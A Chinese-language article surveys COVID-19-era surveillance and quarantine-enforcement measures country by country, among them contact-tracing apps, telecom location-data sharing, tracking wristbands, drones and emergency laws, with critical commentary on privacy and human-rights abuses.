德国罗伯特·科赫研究所（Robert Koch Institute）和弗劳恩霍夫·海因里希·赫兹研究所（Fraunhofer Heinrich Hertz Institute）的研究人员正在开发一种应用程序，该应用程序使用智能手机之间的蓝牙连接并符合**GDPR**要求，保存智能手机上人与人之间的接触距离和持续时

间，从而使数字化感染链成为可能。

该想法是从新加坡的 TraceTogether 应用程序复制而来的，该应用程序可以检测到安装了该应用程序的其他用户。如果某人测试呈阳性，他们可以选择将存储的数据发送给卫生当局，后者可以解密该数据并通过电话通知相关联系人。

迄今为止，已经有 685000 名新加坡人（占人口的10%以上）安装了该应用程序。

8家欧洲电信提供商（沃达丰，德国电信，奥兰治，西班牙电信，意大利电信，Telenor，Telia 和 A1 Telekom Austria）已同意与欧盟委员会共享手机位置数据，以追踪冠状病毒的传播。

该委员会表示，它将使用匿名数据和汇总的手机位置来协调对病毒传播的跟踪。他们还宣布，危机后该数据将被删除。

欧盟委员会敦促包括 Deutsche Telekom 和 Orange 在内的欧洲电信巨头分享其用户在整个地区的移动数据流，以帮助“ 为共同利益” 预测冠状病毒的传播。

在一份回复中，MEP Sophie In’t Veld 强调该数据必须保持匿名，并质疑汇总来自数百万被封锁的欧洲人的大量位置数据的有用性。

负责疾病控制和预防的联邦机构罗伯特·科赫研究所（Robert Koch Institute）与健康技术初创公司 Thryve 合作开发了一款名为 Corona-Datenspende 的应用程序，可与各种智能手表和健身腕带配合使用。

该应用程序旨在使用设备的传感器来收集用户数据，并包括算法，以发现与COVID-19相关的症状并帮助预测病毒的传播和遏制。到目前为止，已有**50000**多名用户下载了该应用程序。

澳大利亚

「图」

「图」

南澳警察局表示他们用于刑事调查的电话追踪系统现在被用于更好地了解一对60岁的冠状病毒感染者夫妇从武汉前往阿德莱德探亲的经历，他们在阿德莱德的游荡路径，以确定可能暴露的人。

警方使用了一个程序，只需要一个电话号码就可以追踪目标手机在哪里使用过的路线图；要使用它，他们必须满足一个立法门槛，立法要求只有被怀疑有严重犯罪嫌疑或有生命危险的情况才能使用这种追踪方法。

在本案中，一个理由是，作为外国人，他们对该地区不够熟悉，无法准确说出自己去过的地方。根据澳大利亚的数据保留法，电话和互联网公司必须将电话元数据保存两年。

根据要求，在全国拥有600万用户的沃达丰澳大利亚公司将数百万澳大利亚人的手机位置数据移交给了联邦政府和新南威尔士州政府，以帮助他们监控人们是否遵守社会疏散限制。

政府、医学专家和媒体以前曾使用过由诸如 CityMapper 之类的运输应用程序收集的数据，但使用该应用程序的人数必然受到限制。

沃达丰声称 “数据是匿名的”，并在共享之前汇总。政府表示，这些数据将不会用于检查个人的动向。Optus 和 Telstra 没有透露他们是否也提供了订户的位置数据。

西澳大利亚州警察部队正在使用无人机发出语音警告，以加强对某些人的隔离规定，并派出200多名警察在街上巡逻，以驱散聚会，并在公园、海滩和咖啡馆内强制进行社交疏散。这点很中国很像。

甚至，警察被赋予了更大的权力，可以对违反规定的任何人进行起诉；宣布此事之前，有两名男子被被指控从海外返回后违反了强制性的自我隔离法。

阿塞拜疆

「图」

「图」

以防疫为借口惩治异议的行为非常严重。

自从政府为减缓COVID-19的蔓延而实行封锁以来，当局已判处至少6名活动家和一名支持反对派的记者10至30天的拘留，罪名包括 “违反封锁规则或不服从警察命令”。

几乎所有被捕的人都曾经批评过政府管理的检疫中心的条件不佳或政府对因疫情而陷入经济困境的人提供的补偿不足。

4月5日，阿塞拜疆加强了检疫制度，要求65岁以下的居民在离开家之前必须先通过短信收到许可。

仅允许以下这些原因出门：去看医生，去药房，商店，银行或邮局，或参加亲戚的葬礼。

短信是免费的；⚠但它必须包含居民的个人ID号以及他们离开家的原因。

许可证授予两个小时的窗口，居民每天只能有一次申请；如果居民提供的信息不正确，就可以直接被拒绝。

65岁以上的居民不得离开居住城市，一些州机构的雇员以及私人法人实体和外交官可豁免。

阿塞拜疆的手机覆盖范围通常不错，但在某些情况下，电话号码因欠费而被冻结。还存在伪造许可证和欺诈性销售的案例，批评者对缺乏个人信息保护措施深表担心。

香港

「图」

香港卫生署已要求警方部署其计算机化的重大事件调查和灾难支援系统，以追踪被新型冠状病毒感染的患者的接触情况。

该系统是在2003年SARS流行期间使用的，当时一名48岁的警务人员被验出呈阳性反应后，59名警务人员被隔离。

香港向接受强制性家庭隔离的人员发放电子跟踪器腕带，以确保他们不会外出。

腕带配有智能手机应用程序，⚠该应用程序通过微信和**WhatsApp**等消息传递平台与政府共享位置。在到达他们被隔离的地方后，用户会被要求沿边缘走一圈，以便该技术可以跟踪他们所处的空间。

在大流行期间，用于确保人们不会破坏其检疫的技术，例如香港的电子监控手环，可能看起来很合理，但是，⚠如果广泛部署并用于识别参加反政府抗议活动的人，显然会非常危险。

这同样适用于各种紧急立法，例如英国政府通过的紧急立法，授予政府特别的新权力以关闭机场并禁止聚会。

⚠ 历史提供了例子：旨在处理1939年IRA的 “临时措施” 在此后数十年里一直保留在法规中。

台湾

「图」

在2003年 SARS 疫情的经验基础上，台湾在中国大陆首次出现疫情消息后，立即采取了多项措施进行应对，包括利用国家保险数据、出入境和海关数据、根据旅行史和症状实时提醒、二维码扫描、主动寻找患有严重呼吸道症状且流感检测阴性的患者。

英国广播公司的一篇文章捕捉到一位在台湾被隔离的学生的故事，报道称，⚠当他的手机没电了，一个小时内，当地4个不同的行政单位与他取得联系；并派出巡逻队核实他的位置；还发来短信说政府失去了对他的追踪，并警告他可能因违反隔离而被捕。

据报道，台湾利用手机信号对被隔离者（包括旅客）进行三角定位；如果手机关机超过**15**分钟，就会向当局发出警报；每天最多两次与民众联系，检查他们的手机是否在手边。

新加坡

「图」

「图」

经过八周的开发，由政府技术局与卫生部合作的新加坡应用程序 TraceTogether 于3月20日启动。

拥有新加坡手机号码和具有蓝牙功能的智能手机的任何人都可以下载该应用程序，⚠该应用程序要求用户打开蓝牙和位置服务，并启用推送通知。

该应用程序通过在手机之间交换短距离蓝牙信号来检测彼此相距两米以内或五米以内持续30分钟的所有人。

该应用旨在促进现有的联系人追踪工作并填补个人的记忆空白。用户必须明确同意才能参与，并且可以随时撤回同意。

新加坡卫生部将有关受害者的信息被公开后，开发人员将这些信息转

变为交互式地图。该地图于3月18日终止，因为案件数量超过了开发商的极限。

新加坡的侦探们使用闭路电视监视录像来查找6000多人的联系人。新加坡还与需要每天多次与被隔离的个人取得联系，并要求他们提供其所在位置的照片证明。

违法隔离检疫措施者会招致重罚，包括监禁，并有至少一次剥夺了其居留权。

⚠ 新加坡还迅速发布了患者在线生活和工作地点的详细信息，以便其他人可以保护自己。

阿根廷

「图」

「图」

一个阿根廷的众包网站正在收集有关乘客的航班信息，这些乘客的COVID-19测试呈阳性。

要求用户输入电子邮件地址、日期、航空公司和航班号，并在方框中打勾以表明其航班上的某人已被感染。

没有提供有关谁经营该网站的信息，但条款和条件表明该网站与收集的数据一起使用开放数据流。

阿根廷的一群独立开发人员启动了 CoTrack，这是一种公开众包工作，旨在开发可跟踪和减慢病毒传播速度的应用程序。

CoTrack 会记录每个用户的地理运动，并寻找他们与被诊断出COVID-19的人接近的时间。

确认情况后，拥有该应用程序的用户就可以与社区共享其数据，以便可以自动通知其他人应采取的预防措施。

该地区的卫生部也可以提交信息。团队考虑了隐私保护措施：仅在智能手机中本地存储GPS数据，而不需要注册（无需姓名、电子邮件等）。

但是，该应用程序在获得“事先授权和官方验证”后，确实在线存储

了受感染个体的**GPS**信息。

当局发布的自测网络应用，要求提交测试时必须填写国民身份证号、电子邮件和电话号码。⚠安卓版需要众多权限：日历、联系人、地理位置数据（包括基于网络和**GPS**）、麦克风、摄像头、全网访问；并且更改音频设置、开运行；覆盖其他**APP**，防止设备休眠。

阿根廷检察官办公室开始在那些违反政府命令的人的智能手机上强制安装应用程序。

该应用程序将由该省的刑事调查局安装，以跟踪那些因违反隔离规定而受到刑事调查的人。

该应用程序会将报告发送到MPA调查办公室，并由总检察长办公室协调。目标个人将被要求签署一份文件，确认他们已被告知，躲避检疫将使他们被判处六个月至两年的徒刑，如果个人删除或卸载该应用程序或阻止其运行，该法律也将适用。

3月23日，阿根廷移民局 DireccióNNacional de Migraciones（DNM）宣布，抵达该国的任何人都必须在其手机上安装**COVID-19**卫生部应用程序，以确保他们遵守检疫规定。

参谋长办公室已指示DNM在3月23日启动该应用程序时也要采用此政策。自启动以来，该应用程序所请求的不必要权限的数量已减少。

由 Adrómeda 公司与马德普拉塔信息和通信技术协会（ATICMA）以及阿根廷软件和计算机服务公司协会（CESSI）合作开发的免费应用程序 Testeate，于2004年启动。目的是通过在任何城市和社区提供不断更新的信息，以及跟踪个人检疫和附近其他人的检疫，以实现阿根廷国家卫生部与居民之间的直接信息交换。

用户可以通过电子邮件地址或 Facebook 登录名访问该应用程序。该公司声称该模型可以在世界任何地方复制。

总部位于旧金山的大数据公司 Grandata 创建了一个热图，以显示阿根廷的哪些区域最适合作为隔离禁区。

Grandata 使用了从应用程序收集的数据集，这些应用程序为第三方提供了地理位置信息。

该热图显示了一个人是否已离开其大部分时间所在的地方100多米远，显然没有考虑到不同城市的社会经济背景，在某些城市中，个人

可能需要离家数公里才能获得食物和基本生活服务。

此外，他们使用的数据可能是用户可能不知道自己正在与 Grandata 等第三方共享的。尽管用户 “同意” 与他们使用的应用共享数据，他们通常也不会同意 Grandata 为此目的重复使用。Grandata打算将该技术开源。

阿根廷公司 Urbetrack 正在开发 “在家照顾自己”（Cuidate en casa）应用程序，该应用程序将投放到全国各地的政府机构。

目标是帮助执行隔离。计划是用户将下载该应用程序，并填写具有当地主管部门选择的个人详细信息的表格。

然后，该应用程序将生成由地方当局定义的 “地理围栏”，用户必须停留在该范围内。

如果用户违反隔离规定，则该应用会在用户离开家且不尊重隔离时提醒用户，并向该地区相应的政府机构发出通知。该应用程序尚未公开发布。

言论审查也是很突出的。前老大哥真人秀电视明星 Matías Schrank 在发布推文称米西奥内斯立法机关主管 Eduardo Rovira 在他最近去泰国旅行时感染了COVID-19之后，被米西奥内斯省警察的网络犯罪部门逮捕。

而 Rovira 并没有立即进入隔离区，而是继续与其他高级政府官员举行会议。Schrank 却被根据《条款》起诉。《刑法》第211条，“因散布公众恐惧或煽动骚乱而被判处2至6年徒刑”。

印尼

「图」

「图」

3月26日，印度尼西亚通信和信息学部长 Johnny G.Plate 发布了第159/2000 号部长法令，以促进政府与电信公司之间在开发一个名为 TraceTogether 的跟踪应用程序中的合作。

该应用程序从受感染的人那里收集14天的手机位置数据，然后将其与电信公司收集的位置数据进行匹配，后者可以精确定位患者附近的人并向他们发送警告。

印尼医生协会已要求政府公开对新型冠状病毒检测呈阳性的患者的身份，以促进接触者追踪并提高预防进一步传播的效率，并指出在这种“紧急情况”下，“公众将为了安全起见，支持披露”。人民被代表了。

歧视问题也非常严重。在宣布检测结果呈阳性后不久，印尼头两例确诊的COVID-19病例及其邻居就成为了媒体报道和社交媒体谩骂的对象，他们的个人信息被通过 WhatsApp 和其他社交媒体传播。而卫生部否认对数据泄露事件负责。

马其顿

「图」

「图」

马其顿是西巴尔干地区第一个推出联系人追踪应用程序的国家。

政府强调，基于蓝牙的应用程序 StopKorona “符合所有法律隐私要求”。该应用程序遵循分散式设计，因此用户可以完全控制自己的数据，该数据在14天后会被删除；如果某人的病毒测试呈阳性，则可以选择将其位置记录发送给卫生部，以便可以通知其所有联系人。

该应用程序是由总部位于斯科普里的软件公司 Nextsense 开发并捐赠给马其顿当局的，该公司称该应用程序在第一天被下载了5000次以上。

委内瑞拉

「图」

「图」

委内瑞拉政府通过发放许可证，一次只能允许一名家庭成员出门，而且中午之前就要回来，并设置了40个检查站，从而加强了加拉加斯的检疫执法。

委内瑞拉最贫困的居民有40万人，许多居民在巴里奥（barrio）不得不违反法规。居民报告说，许多家庭在持续数周的时间里没有自来水可用，也没有收到政府发放的食物。

菲律宾

「图」

「图」

菲律宾官员对违反禁闭规定的人进行羞辱和辱骂性惩罚，将他们关在狭窄的狗笼子里，或强迫他们坐在外面的正午阳光下。

这与中国的策略类似，在中国，当局被拍到将违规者绑在柱子上，并对他们进行斥责，而印度的录像显示，警察在殴打据称的违规者，同时强迫他们在街上做俯卧撑。

在报道的事件中，马尼拉以南约55英里处的圣克鲁斯市的一名当地官员将包括两名儿童在内的5人锁在一个狗笼子里，威胁要射杀他们，然后将他们的照片和部分道歉贴到 Facebook 上。

杜特尔特已经免除了调查队和全国身份证系统登记员的锁定规则，理由是他们 “对提供现金分配和其他政府应对措施至关重要”，目的是减轻社区隔离的影响。

杜特尔特认为，政府援助低收入家庭的方案被承认的延误来自于依赖2015年人口普查造成的受益人名单的不一致，而2018年8月签署成为法律的国家身份识别系统的实施将解决这些问题。简单说就是，“用监视解决问题”。

泰国

「图」

「图」

泰国国家广播电视委员会（NBTC）向所有从被指定为COVID-19感染“高风险” 国家（当时在中国、香港、韩国、意大利和澳门）旅行的外国人和泰国人提供了SIM卡。

根据NBTC秘书长 Thakorn Tanthasit 的说法，AoT Airports 的新应用程序在开始的五天内下载了7,000多次。

该 sim卡将与 AoT Airports 应用程序一起使用，以帮助跟踪用户的位置14天，以验证他们是否仍在隔离中。

该应用程序将跟踪手机的位置位置14天，并在离开指定的隔离区时通知当局。14天后，它将停止跟踪，并且系统将立即删除数据。

泰国科技创业协会、疾病控制部（公共卫生部）、数字经济促进局（数字经济和社会部）和国家创新局开发了一个APP上的问卷调查表，正如泰国科技创业协会所建议的那样，该问卷调查表是为供人们自我评估是否处于高危状态。

该问卷问了很多问题，涉及到症状和旅行史，以及姓名、家人的名字、公民身份证（在受到广泛的批评后，不再强制要求填写）、性别（男性/女性/未注明）、出生日期（日期、月份、年份）、职业（学生/私人部门员工/公务员/企业主/其他）和电话号码。

该应用的开发者泰国科技创业协会表示，所提供的信息只会在用户处于高危状态时才会被告知医疗团队，以便联系回用户。

意大利

「图」

「图」

意大利创新部的一个工作组与帕维亚大学合作，利用大数据技术来应对COVID-19，在世卫组织建议各国政府仅靠封锁是不够的，测试、隔离和联系人追踪是关键之后。

这项工作从 **Facebook** 提供的数据开始；包括 Tim、Vodafone、Wind Tre 和 FastWeb 在内的意大利电信公司也通过其 **Asstel** 行业协会提供了汇总用户的移动数据集，以帮助进行联系人追踪或其他形式的监控。

据 Wired 所能确定的，该计划聚集了健康研究人员和非营利组织手中的所有数据，这些组织与 Facebook 在意大利签署了授权协议。

Facebook 的数据集还包括了3月7日晚总理 Giuseppe Conte 宣布伦巴第省和其他14个省将关闭的时候，从北向南的流动信息。

意大利隐私协会主席 Luca Bolognini 表示担忧，虽然EDPB已经确认GDPR允许在公共紧急事件发生时放宽规则，但是，并没有授权自动控制系统，没有要求在紧急事件结束时触发恢复通常的保护措施并销毁收集到的信息。

伦巴第大区利用手机数据核实设备持有者的行动，从2月20日发现第一例 COVID-19 病例到3月10日，该区200万居民的移动量下降了近

60%。

伦巴第大区还利用从电信公司获得的手机数据，并将这些数据转给ISI基金会进行公共影响研究项目，以监测该地区有多少人在流动。

因为隐私法的原因，该系统并不对个人手机进行监控，而是考虑到工作和健康需求等允许的出行，计算出整体的移动量。3月9日，全国被锁定。

秘鲁

「图」

「图」

秘鲁已暂停宪法规定的权利，例如迁徙和集会自由权，尽管政府保证超市、药房、银行、基本服务和商品运输的运作。

3月17日，秘鲁政府在宣布进入紧急状态，命令所有人留在家中后，开始要求对街头行动进行特别授权。

属于最高法令第4条规定的类别的工人必须通过政府网站获得授权。审批过程需要与其他个人数据库进行交叉比对，以检查每个申请的准确性和有效性。

3月19日开始，秘鲁政府规定每天晚上8时至凌晨5时实行宵禁，除提供基本服务的人员外，其他人员都必须遵守。

印刷和广播媒体的成员必须携带特别通行证、胸卡和身份证，需要紧急医疗服务的人员可以出行。

除上述群体外，公民个人在任何时候都不得再驾驶自己的汽车。由公安、武警部队依法执行。

3月20日，秘鲁政府推出了一个网站，公民可以在其中检索COVID-19 的测试结果。⚠该网站仅要求患者填写其国民身份证号码和简单的验证码，从而使未授权方可以轻松获取他人的结果，并使人们面临被剥削和歧视的风险。

根据一项新的协议，抵达豪尔赫-查韦斯国际机场或乘船抵达卡洛港的所有国际旅客，如果他们从有确诊病例的地方抵达，即使本人没有症状，也会被转给医务人员。

途中出现症状的乘客会被转到隔离区，在那里接受治疗。同时要求旅客提供个人信息，以便在接下来的日子里对他们进行调查。

4月2日，秘鲁总统马丁·维兹卡拉（MartínVizcarra）提出了一项有争议的规则，规定男女必须在不同的日子进行隔离：男人可以在星期一，星期三和星期五离开家，而女人只能在星期二，星期四和星期六离开。周日不允许任何人外出。

一些批评家担心，该计划将导致对 LGBTQ ＋人的骚扰，因为警察被指示基于性别表现制止人们出行。

总统解释说，这样做的目的是确保任何时候在大街上的人数减少，并使安全部队更容易执行检疫规定。

目前唯一采用这种方法的国家是巴拿马。

肯尼亚

「图」

「图」

为了执行强制性的14天检疫命令，肯尼亚当局一直在追踪涉嫌携带COVID-19的人的手机。

同样在肯尼亚，警察的行为已经导致多人死亡：三人被殴打受伤，一名十三岁的男孩被子弹击中。

阿富汗

「图」

「图」

阿富汗公共卫生部和电信与信息技术部已启动 “corona.asan.gov.af” 软件，以三种语言显示，英语、达里语和普什图语，提供健康建议；使用软件中嵌入的问题，用户可以评估自己的健康状态。

乌干达

「图」

「图」

以防疫为借口暴力侵犯人权。

10名乌干达警察在该国北部城镇 Elegu 对38名妇女施以酷刑，并强迫她们在泥浆中游泳。

警方还突袭了一个收容无家可归的男女同性恋、双性恋和变性青年的收容所，逮捕了23人，指控他们不服从命令没有留在收容所内，并指控他们有可能传播感染或疾病的过失行为。

言论审查也非常突出。乌干达通讯委员会3月22日宣布，它将严厉打击通过社交媒体传播假视频和有关新型冠状病毒的错误信息的人，并指出，根据《计算机滥用法》、《数据保护和隐私法》以及其他刑法，这种行为是非法的。

UCC 继续在公共通知中警告说，它将逮捕和起诉违反者。

柬埔寨

「图」

「图」

作为新的紧急状态法的一部分，柬埔寨国民议会授予该国领导人洪森以新的权力，监视电信、控制新闻媒体和社交媒体，限制人员流动和集会自由，扣押私人财产并执行检疫命令，以及颁布 “认为适当和必要的” 其他任何措施。

大赦国际称该立法集中了不受限制的权力。

坦桑尼亚

「图」

「图」

主要是言论审查。坦桑尼亚通信管理局对三家电视台进行了处罚，因为它们播出了关于政府防治冠状病毒战略的 “误导和不真实 “的内容。

批评者认为，坦桑尼亚通信管理局反对一份批评约翰-马古富利总统说

教堂应保持开放的报道，理由是 “冠状病毒无法在教堂中存活”。

挪威

「图」

「图」

挪威的国家研发公司 Simula 研究实验室与公共卫生研究所合作，正在努力开发技术解决方案，以帮助防治 COVID-19。

在 Github 上发现的、后来被删除的代码包括了研究人员如何根据从网络运营商 **Telenor** 和 **Telia** 等公司获得的地理定位数据，检测到彼此相距**50**米以内的人持续至少**1**分钟的例子。

这些数据通常被用来帮助移动运营商确定覆盖范围内的差距。研究人员希望该系统能显示出政府的措施是否有效，并希望它能为计算需要采取哪些进一步的措施提供投入。

公共卫生学院与挪威公司 Simula 一起开发了一个应用程序，以跟踪用户的地理位置。

该应用程序在后台运行，⚠将收集GPS和蓝牙位置数据并将其存储在服务器上30天。

如果用户被诊断出感染了病毒，则其位置数据可以用来跟踪与该人密切接触的所有人的手机。

当局将使用此数据仅向选择安装该应用程序并接收通知的电话发送短信。

挪威的联系人追踪应用 “Infection Stop “依靠中央数据库来存储用户的GPS位置，与中国的同类产品一样，可存储**30**天。

开发这款应用的公司 Sumula 称，由于苹果公司的智能手机操作系统iOS系统的技术限制，所以有必要使用这种方法。

Simula 公司拒绝了像新加坡的 TraceTogether 那样使用蓝牙的方法，因为要想在苹果的 iPhone 上工作，该追踪器应用必须位于重要位置才能利用蓝牙将其位置与附近的其他手机联系在一起，每分钟发送一次。苹果在挪威的市场占有率超过50%。

孟加拉

「图」

「图」

孟加拉国初创公司 Sigmind.ai 开发了名为 WATCHCAM 的大规模监视系统，⚠该系统声称即使佩戴口罩的人也能被识别，准确度为87.3% —— 如果不戴口罩，则识别率为99.4%。

该公司于2019年开始开发该系统是为了提供ATM安全性，但现在将其营销为进行联系人追踪，帮助追踪受感染的人并执行隔离。

埃及

「图」

「图」

在埃及，任何怀疑自己或他人患有 COVID-19 的人都必须立即将报告给当局。

议会成员 Ahmed Refaat 于4月1日提交了一份提案，要求创建一个应用程序来跟踪这些案例，使人们无需返回测试中心即可获得测试结果。

拟议的应用程序还将提供有关病毒传播以及被感染者的全名和位置的每日更新，以便其他人可以避免密切接触。

Refaat 表示，由于对病毒的捕获并未受到负面关注，因此 “识别患者没有错”。

哈萨克斯坦

「图」

「图」

哈萨克斯坦卫生部要求目前被隔离的8000名左右的哈萨克斯坦公民使用 SmartAstana 追踪应用程序，该应用程序可使官员们确保目标人处于隔离状态。

相比之下，阿拉木图市的内务部则依靠当地电信公司 Korkem Telecom 生产的名为 Sergek 的视频监控技术来寻找突破隔离的人。

到目前为止，这两个技术是政府利用新的监控手段作为防疫工具的唯一例子。

虽然这些工具是在更多的传统努力失败后才部署的，但是，技术驱动的应对大流行病的措施将影响塑造哈萨克斯坦更广泛的长期数字化议程。

哈萨克斯坦城市阿斯塔纳（Astana）和阿拉木图（Almaty）的当局要求那些被强制隔离的人安装 Smart Astana 应用并启用地理位置设置、WiFi和蓝牙，以便对其进行监控并确保其距离指定地点不超过30米位置。

如果此人的电话在四个小时内都处于非活动状态，或者如果卫生部被告知其移动距离过长，则会收到视频通话，询问原因。

Smart Astana 应用程序还将允许居民使用一些公共服务。

南非

「图」

「图」

南非通信部长 Stella Ndabeni-Abrahams 表示，该国的电信运营商已同意提供位置数据，以识别特定地区有多少人被感染。

在大流行危机状态下，政府已经拥有了广泛的权力。

南非国家传染病研究所和科学与工业研究委员会将与 Telkom 和 Samsung 合作，创建专门针对南非情况的跟踪系统，其中包括高度的经济不平等，贫困和人满为患问题。

该系统将整理诸如 GIS 之类的数据源，以跟踪可能被感染的任何人以及可能暴露于病毒区域的人。

在某些社区中，卫生部将使用追踪器来追踪主要联系人，并确保使用1500台 Telkom 和 Samsung 将在全国范围内进行测试。

该消息发布之前，通信和数字技术部长发布了新法规，该法规要求网

络运营商上交汇总的位置数据，以显示人口的活动方式，但不会暴露个人用户的活动。

此外，政府已对有争议的提案进行了实质性的改写，以追踪人们使用的手机和其他设备来遏制Covid-19。

调查新闻编辑室 AmaBhungane 表示，由通讯部长上周发布的第一个“指示”引起了 “对其模糊性和缺乏隐私保护倾向的严重关注。” 新规定提供了更多的司法监督，限制了联络人追查，并旨在确保在“灾难状态”结束时应急规定失效。

新西兰

「图」

「图」

新西兰的封锁程序包括一个系统，允许警察监测所有回国旅客的行踪。

抵达边境后，入境旅客会被要求提供一个手机号码。一旦福利局确保他们有合适的住所，他们就会收到新西兰警方发来的短信，要求他们同意进行追踪；如果他们同意，他们就必须打开定位服务，以便警方监测他们是否遵守检疫规定。

根据《隐私法》的规定，同意是必须的，但是警方指出，即便个人拒绝，依旧可以通过电话和随机访问的方式对他们进行监控。卫生部称该系统是一种 “高信任度的安排”。

冰岛

「图」

「图」

4月1日，冰岛启动了一个应用程序，该应用程序使用**GPS**来定位可能与确诊的COVID-19患者保持密切联系的人员。

包含该应用程序下载链接的消息将发送给所有冰岛人；下载它然后同意透露**GPS**数据都是自愿的，但要使其正常工作，必须选择**60**%。

该应用程序将注册附近所有的手机，这样，如果一个人被感染，当局将拥有准确的与他们接触的每个人的时间和持续时间的记录，并且可以向可能暴露于其中的人发送警报，以命令他们进行隔离。

这个想法在新加坡率先提出，其他国家也在开发类似的应用程序。人类的判断仍将在这些决策中发挥关键作用。

牙买加

「图」

「图」

总理安德鲁-霍尔内斯告诉众议院，强制性的国家生物识别身份证系统将 “大大有助于 “打击 Covid-19 的努力。

⚠ 这套名为 NIDS 的国家身份识别系统将要求每个人都要进行登记，并与个人独特的生物识别特征挂钩。

该系统一直备受争议，去年在牙买加最高法院遭到了反对派领 Julian Robinson 的质疑，最高法院裁定该系统侵犯了隐私权，违宪。

“现在是我们真正需要修改制度的时候了，我们将在法律和宪法的范围内尽快采取行动，确保牙买加的每一个公民都有一个唯一的身份标识。” 霍尔尼斯总理说。再一次，利用危机扩大权力。

牙买加政府正在快速建立和实施国家身份证系统，并给每个牙买加公民一个唯一的标识。

⚠ 政府希望该系统与印度臭名昭著的 Aadhaar 等其他系统相似，并整合指纹或视网膜的生物特征扫描。认为，该系统还可以帮助使一些不太正规的行业正规化，例如出租车司机和调酒师。

巴拿马

「图」

「图」

由于尽管3月25日发布了封锁令，仍有许多人在街上游荡，所以巴拿马通过从4月1日至4月12日实施基于性别的出行时间表，扩大了社会

隔离措施：男子可能在周一，周三和星期五离开家获得必需品，而女性在星期二，星期四和星期六出门。

星期日和每一天的下午5点至凌晨5点之间不允许任何人出门。在发布新命令的前一周，有2000多人因违反规则而被捕。

墨西哥

「图」

「图」

作为墨西哥城3月31日封锁的一部分，除了与卫生、食品和基本服务有关的商店外，所有商店都将被关闭，电话公司将提供手机天线的访问权限，以便当局能够监测到任何移动和个人联系。这些信息将进行汇总，并进行分析。

⚠墨西哥城政府开发的用于筛选COVID-19案例的Web表单收集了各种个人信息，例如姓名，年龄，电话号码，家庭住址，社交网络用户名和手机号码。隐私声明中明确表示，此类数据可能会传输到大量司法和行政联邦及地方当局。

在南部莫雷洛斯州的 Jojutla，政府正在使用无人机进行监视。通常无人机会用于维稳任务，例如减少凶杀，监视在公园和广场进行的集会，并告诉人们回家，同时分发手消毒剂。

克罗地亚

「图」

「图」

克罗地亚政府打算通过专用的应用程序、短信警报或电信公司提供的位置数据来强制执行各种隔离命令。

但是，政府的目标是仅针对那些被命令隔离的人，并仅追踪其当前位置，而不是追踪他们的活动（这是前南斯拉夫时代以来的敏感问题），并且仅在有条件的情况下采取这些措施，才能遵守GDPR，否则不可能保护公民的健康和安全。

实施该提案将需要议会以三分之二多数投票通过克罗地亚的《电信

法》修订。该国的每日新闻发布会包括对隔离区人数的统计；该数字通常接近三位数。

突尼斯

「图」

「图」

突尼斯当局已将遥控机器人送上街头，以实施该国的封锁。社交媒体上分享的视频显示，机器人向该国首都突尼斯街头的人发起了询问，询问他们是否了解规则并询问其去向。

由 Enovaro Robotics 制造的被称为 “P-Guard” 的机器人配备了红外和热像仪以及激光遥测系统。

亚美尼亚

「图」

「图」

亚美尼亚国民议会正在考虑通过手机位置数据确定感染 Covid-19 的人的所有联系人。

该草案由政府提出。如果获得批准，则公共电子通信网络的运营商将有义务向当局提供任何客户的位置和电话的信息。

亚美尼亚高科技产业部长 Hakob Arshakyan 召集了一个由IT和AI专家组成的研究小组，以收集和分析有关冠状病毒传播的数据，并将其与国际合作伙伴收集的数据进行比较，并进行预测。

部长认为，“研究小组的工作将有助于提供准确可靠的信息，从而有助于协调和管理遏制工作”。

截至3月19日，亚美尼亚已确认122例病例，主要是埃奇米津居民和在埃里温工厂与感染者接触的人。

欧洲委员会的四名成员 —— 罗马尼亚、拉脱维亚、摩尔多瓦和亚美尼亚 —— 激活了《欧洲人权公约》第15条，该条允许在公共紧急情况下减损；允许会员国在不违反其他义务的情况下采取情势所要求的

措施，义务例如禁止酷刑和奴役并保护生命权的条款。

塞浦路斯

「图」

「图」

塞浦路斯卫生部长 Constantinos Ioannou 规定，从3月31日起每晚每晚9点至凌晨6点实施宵禁，除基本工人外，所有人均必须携带其雇主签署的确认书；那些不遵守的人将被处以300欧元的罚款，是先前罚款的两倍。

个人每天只能离开家一次，并且只能在将短信发送给8998之后再离开家（65岁以上的人可以使用打印的表格）。

警察和社区监视小组将进行抽样检查。部长正在考虑对诊断为COVID-19并下令自我隔离的人进行更严格的控制，例如电子监视。

匈牙利

「图」

「图」

借助疫情扩张权力。匈牙利政府于3月30日通过了一项法律，授予总理 Viktor Orbán 无限期法令的权力，他说这对应对冠状病毒危机“至关重要”。

言论审查也非常明显。该法律包含一项规定，根据这些规定，被认为散布有关大流行病的所虚假信息的人将被判处最高五年徒刑。

批评者称这一捣毁民主的立法是在经过多年重组后许多人对该国的医疗服务感到担忧之时提出的。

匈牙利政府正试图无限期延长因冠状病毒流行而宣布的紧急状态。延长期限于3月23日在匈牙利议会中进行了辩论，⚠ 只要政府认为有必要，只要在任何情况下都拥有三分之二多数支持，政府便可以不经议会批准而通过法令进行统治。

对于那些被指控传播有关该流行病的所谓错误信息的人，将被判处最

长五年徒刑；对于那些被认为 “妨碍防疫”的人，最长为八年。立法者甚至没有阻止该提议。

巴基斯坦

「图」

「图」

巴基斯坦俾路支地区奎达和塔夫坦两市冠状病毒检测患者的完整数据的 **Excel 文件**在 **WhatsApp** 群里流传。

⚠该文件包含了患者的姓名、电话号码、年龄地址和其他身份信息等信息。

这些泄露的数据使患者即使在康复后也面临着人身伤害和社会污名的风险。

俾路支省政府官员说，数据泄露是因为卫生总局、首席部长秘书处、服务部、总务部等各种委员会和政府COVID-19小组 “需要” 定期接收这些数据。

一位卫生部门的官员反对说，这些部门确实只需要病人的数量和地点即可，其他信息完全是多余的。

在巴基斯坦居民质疑通过短信发送的名为 “CoronaALERT ”的信息是否合法后，电信当局证实，这是应卫生部的要求，向选定的个人发送的真实信息。选择这些人是因为他们可能在旅行期间或在特定地点接触过受感染者。

然而，仍然不清楚选择所谓的高危个人的标准是什么，特别是在一些家庭中只有一名成员得到通知。

也不清楚这些数据将存储在哪里，或者如何识别病例；不过，旁遮普省首席部长的数字媒体协调人在推特上说，政府正在使用通话详细记录来追踪联系人。

在新加坡，TraceTogether 应用程序是使用手机之间的蓝牙信号来帮助追踪联系人的。

巴基斯坦信德省政府的一项题为 “COVID-19贫困人口移动登记系统” 的官方指令介绍了其利用多个数据库，通过综合联邦税务局的纳税人

数据、联邦调查局的旅行记录和巴基斯坦国家银行的财务信息，确定需要福利资金的人，并向他们发放现金。

受助人需要通过服务提供者Jazz建立手机账户，才能获得资金。

